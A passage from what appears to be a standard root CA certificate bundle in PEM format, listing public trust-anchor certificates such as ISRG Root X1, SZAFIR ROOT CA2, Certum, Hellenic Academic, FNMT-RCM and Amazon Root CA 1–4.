Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg
GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI
hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD
dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0
VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui
HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
-----END CERTIFICATE-----

SZAFIR ROOT CA2
===============
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV
BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ
BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD
VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q
qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK
DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE
2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ
ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi
ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC
AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5
O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67
oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul
4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6
+/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
-----END CERTIFICATE-----

Certum Trusted Network CA 2
===========================
-----BEGIN CERTIFICATE-----
MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE
BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1
bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y
ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ
TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl
cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB
IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9
7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o
CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b
Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p
uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130
GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ
9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB
Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye
hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM
BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI
hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW
Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA
L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo
clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM
pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb
w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo
J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm
ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX
is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7
zAYspsbiDrW5viSP
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions RootCA 2015
=======================================================
-----BEGIN CERTIFICATE-----
MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT
BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0
aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx
MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg
QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV
BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw
MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv
bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh
iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+
6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd
FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr
i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F
GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2
fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu
iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI
hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+
D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM
d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y
d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn
82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb
davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F
Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt
J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa
JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q
p/UsQu0yrbYhnr68
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions ECC RootCA 2015
===========================================================
-----BEGIN CERTIFICATE-----
MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0
aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw
MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj
IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD
VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290
Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP
dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK
Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA
GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn
dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
-----END CERTIFICATE-----

ISRG Root X1
============
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE
BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD
EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG
EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT
DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r
Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1
3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K
b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN
Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ
4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf
1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu
hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH
usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r
OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G
A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY
9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV
0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt
hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw
TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx
e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA
JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD
YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n
JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ
m+kXQ99b21/+jh5Xos1AnX5iItreGCc=
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM
================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT
AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw
MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD
TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf
qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr
btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL
j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou
08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw
WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT
tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ
47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC
ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa
i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o
dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s
D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ
j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT
Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW
+YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7
Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d
8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm
5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG
rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
-----END CERTIFICATE-----

Amazon Root CA 1
================
-----BEGIN CERTIFICATE-----
MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1
MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH
FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ
gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t
dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce
VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3
DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM
CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy
8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa
2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2
xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5
-----END CERTIFICATE-----

Amazon Root CA 2
================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1
MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4
kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp
N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9
AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd
fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx
kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS
btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0
Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN
c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+
3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw
DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA
A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE
YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW
xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ
gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW
aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV
Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3
KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi
JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw=
-----END CERTIFICATE-----

Amazon Root CA 3
================
-----BEGIN CERTIFICATE-----
MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB
f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr
Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43
rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc
eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw==
-----END CERTIFICATE-----

Amazon Root CA 4
================
-----BEGIN CERTIFICATE-----
MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN
/sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri
83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV
HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA
MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1
AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA==
-----END CERTIFICATE-----

TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
=============================================
-----BEGIN CERTIFICATE-----
MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT
D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr
